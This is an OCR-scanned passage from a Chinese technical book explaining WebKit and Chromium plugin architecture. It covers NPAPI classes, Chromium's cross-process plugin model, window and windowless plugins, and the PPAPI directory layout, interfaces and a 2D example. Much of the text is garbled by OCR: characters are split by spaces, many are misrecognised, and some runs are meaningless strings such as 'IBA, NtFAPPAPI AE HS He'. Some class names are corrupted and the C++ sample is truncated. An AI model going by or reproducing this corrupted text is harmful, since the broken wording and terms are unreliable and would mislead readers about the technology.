PluginView : 表示 的 是 一 个 插件 的 视图 ， 它 非常 重要 ， 连 接 了 插件 
库 和 网 页 中 DOM 接 口 和 可 视 化 RenderObject 节 点 ， 包 含 所 需 的 插件 
库 和 插件 实例 。 

NPObject : 表示 的 是 插件 和 浏览 器 (这 里 是 WebKit) 之 间 数 据 的 
交互 类 型 ， 因 为 插件 能 够 访问 DOM 树 和 JavaScript 对 象 ， 所 以 
JavaScript 中 的 基本 类 型 和 JavaScript 对 象 都 会 包装 成 NPObject 来 在 
两 者 之 间 传 递 。 





对 于 PluginDataBase、PluginPackage 和 Pluginview 类 ， 在 不 同 的 移植 
中 ， 它 们 可 能 会 需要 一 些 不 同 的 实现 ， 所 以 移植 通常 可 能 会 扩展 它们 ， 
当然 主要 工作 逻辑 可 以 共享 。 对 于 WebKit 的 Chromium 移 植 来 说 ， 它 的 
实现 更 为 复杂 ， 在 下 一 节 详 细 介绍 。 





对 于 插件 机 制 ， 有 几 个 问题 要 回答 ， 第 一 是 插件 库 的 注册 、 碍 找 等 
管理 机 制 。 第 二 是 webKit 中 的 插件 节点 的 处 理 ， 包 括 DOM 树 和 
RenderObject 树 如 何 支 持 插件 。 第 三 是 如 何 使 用 注册 的 插件 来 创建 插件 
示例 并 绘制 需要 的 结果 到 网 页 最 终结 果 中 去 。 下 面 我 们 来 具体 说 明 一 
Fe 


首先 是 插件 库 管 理 机 制 。 管 理 的 基础 是 MIME 类 型 和 文件 扩展 名 ， 
例如 对 于 “<embed src="Webkit.pdf/>” 这 样 的 例子 ，PluginView 类 会 
将 “.pdf” 文 件 扩展 名 当 作 参数 传递 给 PluginDatabase 并 期 得 返回 一 个 
PluginPackage 对 象 。 对 于 某 个 MIME 类 型 ， 当 出 现 多 个 插件 支持 的 时 
候 ， 管 理 机 制 需 要 决定 如 何 选择 它们 。 





第 二 是 插件 节点 的 处 理 。 当 网 页 中 出 现 “embed” 和 “object” 元 素 的 时 
候 ，WebKit 会 首先 创建 HTMLPlugInElement( 应 该 是 它 的 子 类 ) 对 象 ， 
之 后 需要 创建 RenderWidget 市 点 ， 当 出 现 人 硬件 加 速 机 制 的 时 候 ， 可 能 还 
需要 创建 相应 的 RenderLayer 节 点 。 同 时 ， 还 要 创建 PluginView 对 象 ， 并 
根据 DOM 元 素 的 属性 来 查找 并 创建 相应 的 实例 。 


第 三 是 绘图 工作 。 本 喘 NPAPI 没 有 提供 绘图 的 接口 ， 只 是 让 插件 将 
绘制 完 的 结果 传 给 浏览 器 或 者 提供 一 个 绘制 的 目标 存储 结构 ， 从 而 让 插 
件 直接 在 它 上 面 绘制 ， 这 就 是 插件 的 Window 和 Windowless 模 式 ， 关 于 
这 两 种 模式 ， 后 面 还 会 做 介绍 。 男 外 一 个 方面 是 跟 浏 览 器 交互 以 通知 某 
些 区 域 需要 重 绘 等 消息 。 


虽然 插 件 机 制 是 用 来 支持 “object* 或 者 “embed” 元 素 ， 但 是 ， 该 机 制 
也 能 够 扩展 JavaScript 中 对 象 和 对 象 的 方法 ， 例 如 希望 在 JavaScript 中 增 
加 W3C 组 织 定 义 的 一 些 标准 接口 ， 如 设备 相关 的 对 象 和 方法 。 





NPAPI 插 件 虽 然 功能 强大 ， 但 是 ， 通 常 它 是 浏览 器 不 稳定 的 重要 原 
因 之 一 ， 这 是 因为 插件 由 各 个 厂家 自行 维护 ， 质 量 和 稳定 性 也 干 差 万 
别 ， 插 件 的 不 稳定 通常 会 导致 浏览 器 的 不 稳定 ， 这 在 现在 多 页 面 同时 浏 
览 的 模式 下 会 带 来 非常 差 的 用 户 体验 。 同 时 ，NPAPI 的 性 能 不 是 很 高 
效 ， 而 且 存 在 一 些 局 限 性 ， 特 别 是 绘图 方面 。 最 后 ，NPAPI 插 件 拥有 访 
问 任何 本 地 资源 的 能 力 ， 这 会 带 来 安全 性 问题 ， 所 有 未 经 过 认证 的 插件 
都 非常 危险 ， 随 意 使 用 第 三 方 插 件 的 网 页 也 不 无 可 能 对 系统 造成 灾难 性 
的 后 果 。 这 与 ActiveX 插 件 很 像 ， 它 同样 也 是 很 多 病毒 攻击 的 对 象 。 因 
为 插件 通常 是 网 络 攻击 的 对 象 ， 一 旦 这 些 插件 被 攻击 成 功 ， 那 么 攻击 者 
就 能 够 随意 访问 本 地 资源 。 











在 WebKit 的 这 种 插件 设计 以 构 中 ， 演 染 引擎 同 插件 的 运行 通常 在 同 





一 进程 中 ， 这 一 设计 将 会 带 来 稳定 性 和 安全 性 方面 的 灾难 性 后 果 。 为 了 
避免 这 些 方面 的 问题 ，Chromium 在 WebKit/Blink 插 件 架 构 的 基础 上 引入 
了 跨 进 程 的 插件 机 制 ， 这 为 浏览 器 的 稳定 性 提供 了 保证 ， 下 一 小 节 将 详 
细 介 绍 。 同 时 ， 考 虑 到 性 能 方面 的 问题 ，Google 提 出 了 新 的 PPAPI 插 件 
机 制 ， 考 虑 到 安全 性 和 支持 本 地 代码 的 问题 ，Chromium3 引 入 了 Native 
Client 机 制 ， 为 安全 性 提供 了 保证 ， 这 在 后 面 也 会 作 详细 介绍 。 


10.1.2.2 Chromium 的 插件 架构 


为 了 解决 插件 的 稳定 性 问题 ， 同 时 因为 Chromium 的 沙 箱 模 型 机 制 
《第 12 章 会 介绍 ， 它 会 限制 插件 访问 本 地 资源 的 能 力 ) ， 插 件 实例 不 能 
够 在 Renderer 进 程 中 运行 ， 因 为 除了 访问 IO 之 外 ， 没 有 访问 其 他 接口 和 
资源 的 能 力 ， 所 以 在 Chromium 中 ， 插 件 是 被 放 在 单独 的 进程 中 来 执 
行 ， 这 就 是 Chromium 的 插件 多 进程 模型 。 图 10-3 显 示 的 是 Chromium 的 
插件 进程 示例 图 。 











Plugin 进程 
(插件 1) 








图 10-3 Chromium 的 插件 多 进程 模型 


在 Chromium 中 ， 每 一 个 插件 库 只 会 有 一 个 进程 ， 这 就 是 说 ， 如 果 





有 两 个 或 者 多 个 Renderer 进 程 同 时 使 用 同一 个 插件 库 ， 那 么 这 些 
Renderer 进 程 会 共享 同一 个 插件 进程 。 因 为 多 个 Renderer 进 程 共 享 同一 
种 的 Plugin 进 程 ， 那 么 Plugin 进 程 如 何 为 它们 服务 呢 ? 答案 是 Chromium 
在 加 载 插件 库 后 为 每 个 插件 使 用 点 在 plugin 进 程 中 创建 一 个 对 应 插件 实 
例 (PluginInstance) 。 


值得 注意 的 是 ， 插 件 进 程 是 由 Browser 进 程 来 负责 创建 和 销毁 ， 而 
不 是 Renderer 进 程 。 原 因 在 于 Renderer 进 程 没 有 创建 的 权限 ， 而 且 Plugin 
进程 也 应 该 由 Browser 进 程 来 统一 管理 ， 这 样 也 更 方便 。 当 Plugin 进 程 创 
建成 功 时 ，Browser 进 程 会 返回 进程 间 通 信 的 句柄 ， 用 于 创建 和 Plugin 进 
程 通 讯 的 PluginChannelHost。 那 它 什么 时 候 被 销毁 呢 ? 当 没 有 任何 插件 
实例 并 且 衬 朵 一 段 事件 后 ， 它 才 会 被 销毁 ， 这 样 做 的 好 处 是 避免 频 党 地 
创建 和 销毁 Plugin 进 程 。 








图 10-4 描 述 了 Browser 进 程 和 Plugin 进 程 间 的 通信 机 制 及 其 所 涉及 的 
相关 的 模块 〈 类 ) 。Browser 进 程 通过 PluginProcessHost 发 送 消 息 调 用 
Plugin 进 程 的 函数 ， 响 应 动作 由 PluginThread 完 成 。 而 Plugin 进 程 则 是 通 
过 WebPluginProxy 发 送 消息 调用 Browser 进 程 的 啊 应 函数 ， 响 应 动作 由 


PluginProcessHost 完 成 。 











WebPluginProxy 





图 10-4 Brower 进 程 和 Plugin 进 程 的 交互 过 程 


Browser 进 程 和 Plugin 进 程 仪 有 较 少 的 消息 传递 ， 用 于 插件 的 创建 等 


PIE TE. HE, > 的 工作 在 Renderer 进 程 和 Plugin 进 程 之 间 ， 机 制 
也 相对 更 为 复杂 一 些 。 根 据 前 面 介绍 ，HTMLPluginElement 节 点 是 DOM 
树 中 的 一 个 节点 ， aa 
WebPluginContainerImp1， 该 节点 是 WebKit::Widget 的 子 类 ， 也 就 是 
Chromium 中 的 一 个 对 PluginView 的 有 具体 实现 类 ， 而 它 包 含 一 个 
WebPluginImpl， 对 plugin 的 调用 有 WebPluginDelegateProxy 负 责 中 转 。 

在 Plugin 进 程 中 ， 由 WebPluginDelegateStub 处 理 所 有 Renderer 进 程 发 送 过 
来 的 请 求 ， 并 由 WebPlugin-DelegateImpl 调 用 创建 好 的 PluginInstance 对 
象 。PluginInstance 最 终 调用 PluginLib 读 取 的 插件 库 (ibxxx.so〉 的 各 个 
函数 入 口 地 址 ， 最 终 完 成 对 插件 库 实现 的 调用 。 而 对 插件 实现 中 对 NPN 
开头 函数 的 调用 ， 则 是 通过 PluginHost 来 完成 。 





PluginHost 主 要 负责 实现 NPN 开 头 的 函数 ， 如 前 面 所 描述 ， 这 些 函 
数 被 plugin 进 程 所 调用 。 可 以 在 plugin 和 renderer 进 程 被 调用 。 “ea 
进程 调用 这 些 函 数 时 ，chromium 会 履 盖 eluent ost 的 部 分 函数 ， 而 这 
新 的 callback 函 数 会 调用 NPObjectProxy 来 通过 IPC 发 送 请 T 
程 。 


PluginInstance 实 现 了 NPP 开 头 的 函数 ， 被 Renderer 进 程 所 调用 
CWebPluginImpl 通 过 WebPluginDelegateImpl 来 调用 ) , PluginInstance 
通过 PluginLib 获 得 了 插件 库 中 这 些 函 数 的 地 址 ， 从 而 把 实际 的 调用 桥接 

到 有 具体 的 播 件 中 。 有 其 体 的 如 图 10-5 所 示 ， 主 要 结构 来 源 于 Chromium 项 目 
的 官方 网 站 ， 略 有 修改 。 


Renderer 进程 WebPluginDelegateProxy 
Plugin 进程 
W 


WebPluginDelegateImpl 
PluginInstance 


libXXX.so PluginLib PluginHost 


图 10-5 Chromium 的 跨 进 程 插 件 和 Renderer 进 程 交 互 过 程 






对 于 NPObject 相 关 的 函数 调用 ， 有 专门 的 类 来 处 理 。NPObject 的 调 
用 或 者 访问 是 双 辐 的 (renderer 进 程 <->plugin 进 程 ) ， 他 们 的 有 具体 实现 
是 通过 NPObjectProxy 和 NPObjectStub 来 完成 。NPObjectProxy 接 受 来 自 
对 方 的 访问 请 求 ， 转 发 给 NPObjectStub， 最 后 NPObjectStub 调 用 真正 的 
NPObject 并 返回 结果 ， 如 图 10-6 所 示 。 


NPObjectProxy NPObject 


ee 进程 2 
进程 1 NPObjectStub 
IPC::Channel_2 IPC::Channel_1 


图 10-6 NPOb ject 对 象 的 跨 进 程 使 用 





10.1.2.3 “Chromium 插件 的 工作 过 程 


插件 工作 过 程 主 要 是 创建 并 完成 插件 和 浏览 需 的 交互 过 程 。 首 先 来 
看 一 下 插件 实例 是 如 何 被 创建 的 ， 图 10-7 给 出 一 个 插件 如 何 被 Renderer 
进程 触发 创建 的 过 程 。 
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图 10-7 Renderer 进 程 创建 插件 实例 的 过 程 


如 果 页 面 中 包含 一 个 “embed” 或 者 “object* 元 素 ，Renderer 进 程 会 创 

建 一 个 HTMLEmbedElement 元 素 ， 当 该 元 素 被 JavaScript 代 码 或 者 其 他 地 
方 使 用 的 时 候 ， 会 触发 创建 相应 的 插件 。HIMLEmbedElement 对 象 会 请 
求 创建 自己 对 应 的 RenderWidget (WebPluginContainerImpl) ， 进 而 创建 
WebPluginImpl 和 WebPluginDelegate-Proxy。 如 果 该 插件 的 进程 还 不 存 
在 ，WebPluginDelegateProxy 会 发 送 消息 到 Browser 进 程 ， 请 求 该 进程 来 
创建 Plugin 进 程 。Plugin 进 程 被 Browser 进 程 创 建 后 ， 会 响应 Renderer 进 
程 的 请 求 来 创建 PluginInstance 并 将 它 初 始 化 ， 这 样 它 们 之 间 的 联系 就 建 
立 好 了 。 注 意 ， 图 中 的 O rales 用 的 操作 “创建 和 和 初 
始 化 PluginInstance”， 有 是 通过 进程 间 通 信 发 送 消 息 到 Plugin 进 程 ， 最 终 由 
该 进程 完成 的 。 





接 下 来 的 工作 主要 是 浏览 器 和 插件 通过 NPP 和 NPN 接 口 进行 互相 调 
用 ， 这 些 调用 在 Chromium 浏 览 右 中 都 通过 IPC 机 制 来 完成 ， 有 具体 的 过 程 


就 是 使 用 图 10-5 所 描述 类 的 调用 过 程 。 


10.1.2.4 Window 和 WindowIess 插 件 





根据 规范 ， 可 以 通过 设置 <embed” 或 者 “object” 元 素 的 属性 来 让 浏览 
器 来 决定 如 何 提供 绘制 结果 的 存储 方式 。Window 模 式 插件 由 Renderer 进 
程 提供 一 个 窗口 window) ， 插 件 直接 在 该 窗口 上 进行 绘制 ， 所 以 它 
不 需要 和 网 页 的 内 容 再 进行 合并 ， 而 是 一 个 独立 的 绘制 目标 。 而 
Windowless 模 式 的 插件 则 不 同 ， 插 件 将 绘制 的 结果 (如 Pixmap〉 通过 共 
享 内 存 的 方式 (如 Transport DIB) 传递 给 Renderer 进 程 ，Renderer 进 程 然 
后 绘制 该 内 容 到 自己 内 部 的 存储 结构 (Backing Store) 上 。 








从 上 面 的 论述 不 难看 出 ，Window 模 式 的 性 能 是 要 高 于 Windowless 
的 。 但 是 ， 对 于 Window 模 式 的 插件 来 说 ， 它 不 能 跟 网 页 的 内 部 内 容 构 
成 很 好 的 前 后 关系 ， 例 如 在 网 页 的 某 些 元 素 之 后 ， 某 些 元 素 之 前 ， 这 不 
得 不 说 是 一 个 局 上限。 而 对 于 Windowless 模 式 的 插件 来 说 ， 性 能 较 差 的 问 
题 带 来 的 好 处 是 ， 可 以 把 择 件 绘制 的 结构 和 网 页 上 的 其 他 内 容 做 各 种 形 
式 的 合成 。 











跨 进 程 带 来 稳定 性 的 同时 ， 由 于 访问 对 象 和 操作 都 需要 经 过 进程 间 
通信 ， 所 以 额外 的 负担 也 比较 重 。 为 此 ，Chromium 的 PPAPI 插 件 机 制 诞 
Æ, 


10.2 Chromium PPAPI 质 件 


10.2.1 原理 





插件 其 实 是 一 种 统称 ， 表 示 一 些 动 态 库 ， 这 些 动态 库 根 据 定 义 的 一 
些 标准 接口 可 以 跟 浏 览 器 进行 交互 ， 至 于 这 个 标准 接口 是 什么 都 可 以 ， 
重要 的 是 大 家 都 遵循 它们 ，NPAPI 接 口 标准 只 是 其 中 的 一 种 ， 因 为 它 被 
广泛 使 用 ， 所 以 被 提 到 的 次 数 也 最 多 。 本 节 介 绍 的 PPAPI 也 是 一 种 浏览 
器 和 插件 交互 的 接口 标准 ， 该 标准 是 由 Google 提 出 ， 在 Chromium 项 目 
中 获得 文 持 。 








PPAPI 的 提出 是 因为 NPAPI 的 可 移植 性 和 性 能 存在 比较 大 的 问题 ， 
特别 是 针对 路 进程 的 插件 ， 同 时 还 有 插件 需要 2D 和 3D 绘 图 、 声 音 等 问 
题 时 候 就 更 为 棘手 。 早 期 的 阶段 就 是 要 解决 这 些 问 题 ， 同 时 为 了 邦 得 插 
件 厂商 的 支持 ， 尽 可 能 地 使 用 原来 NPAPI 的 接口 。 现 在 ， 随 着 PPAPI 的 
不 断 发 展 ， 接 口 不 断 发 生 改变 。 后 来 ，PPAPI 也 被 用 在 Native Client 技 术 
中 ， 之 后 也 被 逐渐 地 修改 ， 直 到 现在 的 样子 ， 完 整 的 列表 可 以 查看 链接 
http://code.google.com/p/ppapi/w/list. 








IBA, NtFAPPAPI AE HS He EBS ray HE HE IZ A Se GRR R 
We? 前 面 我 们 提 到 ， 在 现在 的 NPAPI 插 件 系 统 中 ， 通 常 的 做 法 是 ， 当 网 
页 需要 显示 该 插件 的 时 候 或 者 需要 更 新 的 时 候 ， 它 会 发 送 一 个 失效 
(Invalidate〉 的 通知 ， 让 插件 来 绘制 它们 。 而 在 PPAPI 插 件 机 制 中 ， 它 
引入 了 一 个 保留 (Retained) 模式 ， 其 含义 是 浏览 器 始终 保留 一 个 后 端 
存储 空间 ， 用 来 表示 上 一 次 绘制 完 的 区 域 。 这 个 很 有 用 ， 因 为 PPAPI 插 








件 通常 是 路 进程 的 ， 所 以 浏览 右 可 以 绘制 网 页 而 不 需要 锁 ， 与 此 同时 插 
件 进程 能 够 在 后 全 绘制 新 的 结果 。 


PPAPI 插 件 有 两 种 运行 模式 ， 受 信 (Trusted) 插件 和 非 受 信 
(Untrusted) 插件 。 对 于 受信 的 PPAPI 插 件 ， 它 可 以 在 Renderer 进 程 中 
运行 ， 也 可 以 在 男 外 的 进程 中 运行 。 对 于 新 版 本 的 实现 ， 架 构 设 计 都 是 

基于 IPC 来 设计 的 。 对 于 非 受 信 的 PPAPI 插 件 ， 则 可 以 借助 于 使 用 
NativeClient 技 术 来 安全 运行 。 受 信和 插件 是 与 平台 相关 的 ， 可 以 调用 平台 
相关 的 接口 。 而 对 于 非 受 信和 插件 而 言 ， 它 们 可 以 是 与 平台 无 关 的 代码 ， 
可 以 调用 NativeClient 提 供 的 有 限 接 口 ， 而 不 能 调用 其 他 接口 ， 这 个 后 面 
再 介绍 。 














在 Chromium 中 ，NPAPI 和 PPAPI 插 件 同时 得 到 支持 ， 都 可 以 
在 “chrome://plugins” 来 查看 ， 前 面 已 经 提 到 过 。 有 趣 的 是 ， 对 于 同一 个 
功能 的 插件 ， 甚 至 可 能 有 两 个 不 同 的 版 本 ， 如 图 10-8 所 示 Flash 的 NPAPI 
插件 和 PPAPI 插 件 实现 。 


Adobe Flash Player (2 files) - Version: 11.8.800.115 
Shockwave Flash 11.8 r800 
Name: Shockwave Flash 
Description: Shockwave Flash 11.8 r800 
Version: 11.8.800.115 
Location: Ci\Users\ \AppData\Local\Google\Chrome\Application\29.0.1547.57\PepperFlash\pepflashplayer.dll 
Type: PPAPI (out-of-process) 
Disable 


MIME types: MIME type Description File extensions 





application/x-shockwave-flash Shockwave Flash swf 
application/futuresplash FutureSplash Player ,sp 


Name: Shockwave Flash 
Description: Shockwave Flash 11.8 r800 
Version: 11,8,800,94 
Location: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_8_800_94.dll 
Type: NPAPI 
Disable 


MIME types: MIME type Description File extensions 





application/x-shockwave-flash Adobe Flash movie .swf 
application/futuresplash FutureSplash movie „spl 





图 10-8 Chrome 浏览 器 的 NPAP1 酝 件 和 PPAP1 播 件 


PPAPI 插 件 同样 使 用 “embed” 或 者 “object” 元 素 ， 这 让 网 页 看 起 来 没 
什么 大 的 区 别 ， 所 以 对 于 WebKit 而 言 ， 它 根本 不 会 区 分 背后 的 是 NPAPI 
插件 还 是 PPAPI 插 件 ， 差 别 在 于 调用 的 接口 不 一 样 而 已 ， 这 样 做 的 好 处 
显而易见 。 


10.2.2 ”结构 和 接口 
10.2.2.1 ”代码 结构 


为 PPAPI 插 件 对 于 WebKit 而 言 是 透明 的 ， 所 以 这 里 不 再 介绍 
WebKit 中 支持 该 插件 的 基础 设施 。Chromium 支 持 跨 进 程 的 PPAPI 插 件 
机 制 ， 所 以 在 代码 结构 上 可 以 充分 看 到 这 一 点 。Chromium 项 目 中 有 3 个 
目录 用 来 支持 这 一 机 制 ， 详 细 结 构 如 图 10-9 所 示 。 





chrome 跟 多 进程 架构 相关 的 PPAPI 插件 辅助 类 
browser/renderer_host/pepper Browser 进程 与 插件 相关 的 Host 类 


renderer/pepper Renderer 进程 与 插件 相关 的 Host 关 


content 跟 多 进程 架构 相关 的 PPAPI 插件 辅助 类 


browser/renderer_host/pepper Browser 进程 与 插件 相关 的 Host 类 


renderer/pepper Renderer 进程 与 插件 相关 的 Host 类 

















ppapi PPAPI 插件 的 主要 实现 类 
api PPAPI 的 提供 的 编程 接口 的 定义 文件 ，IDL 格式 
c PPAPI 的 提供 的 编程 接口 ，C 语言 风格 
cpp PPAPI 的 提供 的 编程 接口 ，C++ 语 言 风格 
examples 使 用 PPAPT 的 插件 示例 代码 ， 面 会 根据 它 做 介绍 
host 为 多 进程 架构 服务 的 基础 类 ， 被 content 中 所 使 用 
native client 支持 Native Client 的 一 些 基 础 
Proxy 代理 机 制 ， 用 在 插件 进程 中 ， 同 host 端 通信 
shared impl 代理 机 制 ，thunk 等 共享 的 代码 
thunk -个 转 接 层 代 码 ， 将 插件 对 浏览 器 的 调用 转 成 C++ 调用 接 [ 
utility 各 种 辅助 设施 








图 10-9 ”支持 PPAP1 播 件 机 制 的 代码 目录 结构 


首先 是 chrome 目 录 ， 它 包含 Renderer 进 程 和 Browser 进 程 对 于 PPAPI 
插件 的 文 持 代 码 ， 主 要 是 资源 的 实现 类 。 


其 次 是 content 目 录 ， 同 样 也 包含 了 资源 的 实现 类 ， 但 是 同时 也 有 文 
持 跨 进程 机 制 的 代码 ， 这 会 在 后 面 的 工作 过 程 图 中 有 所 体现 ， 


最 后 是 ppapi 目 录 ， 当 然 支持 PPAPI 插 件 的 代码 都 是 在 该 目录 中 ， 包 


括 支 持 跨 进程 的 基础 代码 ， 它 们 被 Renderer 进 程 和 Browser 进 程 的 支持 代 
码 所 使 用 。 


读者 可 能 好 奇 为 什么 chrome 目 录 下 的 相关 文件 不 直接 放 在 content/ 
目录 下 ， 这 主要 取决 于 Chromium 项 目的 层次 化 结构 。content 目 录 下 包 
含 一 些 公共 或 者 基础 的 设施 ， 而 chrome/ 目 录 则 是 跟 浏 览 器 密切 相关 
的 。 例 如 对 于 PPAPI 插 件 机 制 而 言 ， 它 将 PDF 和 Flash 都 放 在 该 目录 下 ， 
而 将 文件 等 放 在 content 目 录 下 。 


10.2.2.2 ”应 用 程序 编程 接口 


同 NPAPI 的 NPN 和 NPP 开 头 的 接口 相似 ，PPAPI 也 需要 双向 调用 的 
编程 接口 ，PPAPI 提 供 了 浏览 器 调用 插件 的 接口 ， 同 时 更 是 提供 了 众多 
插件 调用 浏览 器 各 种 功能 的 接口 ， 这 非常 不 一 样 ， 因 为 功能 更 为 强大 。 


这 些 接口 的 标准 定义 文件 都 位 于 上 面 所 述 的 目录 ppapiapi 中 ， 它 们 
都 使 用 一 种 接口 定义 语言 ODL, Interface Definition Language) Xfi 
述 。IDL 是 一 种 标准 ， 有 兴趣 的 读者 可 以 查阅 它 的 基本 语法 。 其 中 以 
ppb_ (ppapi browser) 开头 的 接口 文件 表示 这 是 由 浏览 器 实现 ， 被 插件 
库 所 调用 ; ULppp_ (ppapi plugin) 开头 的 接口 文件 表示 这 是 由 插件 实 
现 ， 被 浏览 器 所 调用 ;而 其 他 以 pp_ 开 头 的 接口 文件 表示 共享 的 接口 定 
义 ， 两 边 都 需要 使 用 ， 主 要 是 一 些 基 础 类 定义 等 。 








不 同 于 NPAPI 只 是 提供 C 接 口 ，PPAPI 既 提供 了 C 接 口 ， 同 时 又 提供 
了 C++ 接口 。C 接 口 主要 是 函数 指针 和 结构 为 主 ， 而 C++ 接口 则 是 提供 
各 种 作用 的 类 ， 它 们 分 别 位 于 目录 ppapi/c 和 ppapi/cpp 下 。 因 为 两 个 定义 
的 功能 是 一 致 的 ， 之 后 我 们 都 以 C++ 接口 为 例 来 解释 PPAPI 插 件 机 制 。 


公共 部 分 的 接口 包括 各 个 基础 数据 ， 如 时 间 、 大 小 、 和 矩形 和 资源 ， 
这 些 类 会 作为 后 面 定 义 接 口 的 参数 来 传递 ， 对 应 的 接口 例如 PP_Time、 
PP_Size、PP_Rect 和 PP_Resource。 这 里 面 非常 重要 的 接口 是 
PP_Resource， 它 表示 各 种 类 型 的 资源 ， 例 如 文件 资源 、 首 频 资 源 、 图 
像 资 源 、 图 形 资源 等 。 








由 插件 实现 的 接口 大 致 包括 以 下 几 个 部 分 : 第 一 部 分 是 插件 模块 和 
插件 实例 ， 用 于 初始 化 和 关闭 插件 的 管理 插件 功能 的 接口 ， 例 如 
PPP_InitializeModule()、PPP_ShutdownModule()。 而 插件 的 实例 类 ， 表 
示 一 个 插件 的 实例 对 象 ， 也 就 是 Interface ”PPP_Instance， 这 里 面包 含 多 
个 函数 ， 如 DidCreate、DidDestroy 等 ， 表 示 当 创建 插件 之 后 ， 浏 览 髓 调 
用 它们 ， 以 便 插 件 能 够 做 一 些 后 续 的 辅助 工作 。 第 二 部 分 是 一 些 事 件 的 
通知 接口 ， 表 示 浏 览 器 需要 派发 一 些 消 明 给 插件 ， 典 型 的 包括 鼠标 事 
件 、 通 用 消息 传递 接口 、3D 图 形 上 下 文 丢 失事 件 和 羽 标 锁定 事件 等 。 











由 浏览 器 实现 的 接口 ， 主 要 提供 各 种 能 力 给 插件 使 用 ， 这 其 中 包括 
2D 和 3D 图 形 绘制 接口 、 文 件 IO、 文 件 系 统 、 鼠 标 事件 、 网 络 、 游 戏 手 
柄 、 时 间 等 ， 这 些 都 是 PPAPI 机 制 中 定义 的 可 以 被 浏览 器 调用 的 资源 及 
其 编程 接口 ， 读 者 会 发 现 这 些 主要 都 是 为 游戏 的 需求 服务 的 ， 实 际 上 这 
些 机 制 就 是 为 了 高 性 能 的 游戏 而 设计 的 。 


10.2.3 ”工作 过 程 


10.2.3.1 ”基础 设施 


对 于 PPAPI 插 件 的 跨 进 程 架构 ， 同 NPAPI 插 件 的 跨 进程 架构 非常 类 





似 ， 可 以 说 基本 相同 。 同 样 当 网 页 中 出 现 一 个 "embed 元素 的 时 候 ， 
PPAPI 插 件 进 程 会 为 它 创 建 一 个 插件 实例 ， 这 里 不 再 性 述 。 


对 于 插件 模块 和 实例 接口 ， 由 插件 进程 直接 调用 并 根据 需要 加 载 和 
创建 它们 ， 非 常 的 简单 明了 。 在 PPAPI 插 件 机 制 中 ， 复 杂 的 是 资源 的 调 
用 ， 也 就 是 浏览 器 提供 给 插件 使 用 的 各 种 资源 接口 ， 所 以 下 面 重点 介绍 
围绕 资源 的 基础 设施 。 





图 10-10 描 述 了 跨 进 程 模式 下 PPAPI 插 件 机 制 中 资源 是 如 何 被 插件 调 
用 的 。 如 同 前 面 一 样 ，PPAPI 的 插件 是 在 插件 进程 中 被 加 载 的 ， 当 它 需 
要 使 用 插件 的 时 候 ， 通 过 图 中 Thunk 设 施 将 C 接 口 转 成 C++ 接口 来 调用 相 
应 的 PluginResource 类 。 该 类 是 所 有 资源 的 基 类 ， 是 一 个 代理 类 《只 是 
将 请 求 转发 给 真正 的 实现 者 〉 ， 负 责 发 送 请 求 给 其 他 进程 ， 拥 有 接受 其 
他 进程 发 过 来 的 调用 结果 的 能 力 。 发 送 请 求 由 相应 的 其 他 类 来 帮助 ， 在 
这 里 是 PluginDispatcher 类 和 HostDispatcher 类 。 它 们 都 会 使 用 
IPC::Channel RAIA, WL Browsertdt FEM Renderer Fe FAY 
BrowserPpapiHost 类 和 RenderPpapiHost 类 处 理 ( 它 们 依赖 ppapi/host 的 其 
X) ， 这 些 请 求 会 发 送 给 ResourceHost 类 来 处 理 ， 以 调用 真正 的 实现 函 
数 。 读 者 发 现 这 两 个 进程 都 有 ResourceHost 的 子 类 ， 这 是 因为 某 些 资源 
的 实现 在 Renderer 进 程 完 成 ， 例 如 2D 和 3D 图 形 资源 ， 但 是 有 些 类 必须 在 
Browser 进 程 中 处 理 ， 如 文件 和 文件 系统 等 。 
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图 10-10 “” 跨 进 程 的 PPAP1 醚 件 机 制 中 支持 资源 的 基础 设施 


10.2.3.2 ”工作 过 程 


这 里 以 Chromium 中 PPAPI 的 一 个 使 用 2D 绘 图 的 例子 来 说 明 PPAPI 插 
件 的 工作 过 程 ， 该 例子 位 于 目录 ppapi/examples/2d 下 ， 主 要 有 两 个 部 
分 ， 一 个 是 个 简单 的 HTML 网 页 文件 (2d.html〉， 男 外 一 个 就 是 实现 插 
件 的 文件 (paint_manager_example.cc) 。 示 例 代 码 10-1 是 使 用 插件 的 网 
页 代码 ， 示 例 代码 主要 是 “embed” 元 素 ， 同 NPAPI 插 件 的 使 用 方式 完全 
一 模 一 样 ， 下 面 会 逐步 讲解 PPAPI 插 件 的 源 代码 ， 以 及 该 插件 是 如 何 和 
该 网 页 一 起 工作 的 。 


示例 代码 10-1 使 用 插件 的 网 页 代码 


<html> 
<head> 
<title>2D Example</title> 


</head> 


<body> 

<embed id="plugin" type="application/x-ppapi-example-2d"> 
</body> 
</html> 


首先 当然 是 插件 的 创建 过 程 。 在 WebKit 中 ， 对 于 PPAPI 和 NPAPI 的 
支持 都 是 类 似 的 ， 所 以 可 以 回顾 10-7 中 的 NPAPI 插 件 被 创建 的 过 程 ， 二 
者 同样 根据 MIME 类 型 来 查找 PPAPI 插 件 机 制 ， 如 果 Chromium 发现 查 找 
到 的 是 一 个 PPAPI 插 件 而 不 是 NPAPI 插 件 ， 那 么 在 创建 
WebPluginContainerImpl 对 象 的 时 候 ， 融 会 首先 创建 一 个 webPlugin 子 类 
的 对 象 。 注 意 ， 这 里 不 是 一 个 WebPluginImpl 对 象 ， 而 是 一 个 
PepperWebPluginImpl 对 象 。 之 后 它 就 发 送 消 息 到 插件 进程 ， 请 求 创建 一 
个 插件 的 实例 。 回 到 插件 进程 ， 它 会 根据 插件 的 注册 信息 查找 需要 的 插 
件 并 调用 它 的 构造 函数 来 初始 化 该 插件 的 模块 ， 如 示例 代码 10-2 所 示 的 
CreateModule 方 法 。 之 后 需要 调用 该 方法 返回 的 对 象 来 创建 一 个 插件 实 
例 的 对 象 ， 如 示例 代码 中 的 CreateInstance 方 法 ， 会 创建 一 个 插件 类 自 定 
义 的 一 个 示例 。 


示例 代码 10-2 插件 的 实现 代码 部 分 节选 


Class MyModule : public pp::Module { 
public: 
virtual pp::Instance* CreateInstance(PP_Instance instanc 


return new MyInstance(instance); 


}; 
namespace pp { 


Module* CreateModule() { 


return new MyModule(); 


} 


根据 示例 代码 10-2 和 示例 代码 10-3， 当 MyInstance 被 创建 的 时 候 ， 
Chromium 会 创建 PPP_Proxy_Instance 对 象 ， 该 对 象 接收 从 Renderer 进 程 
传递 过 来 的 关于 该 实例 的 状态 消息 ， 如 插件 视图 改变 、 销 毁 等 ， 然 后 再 
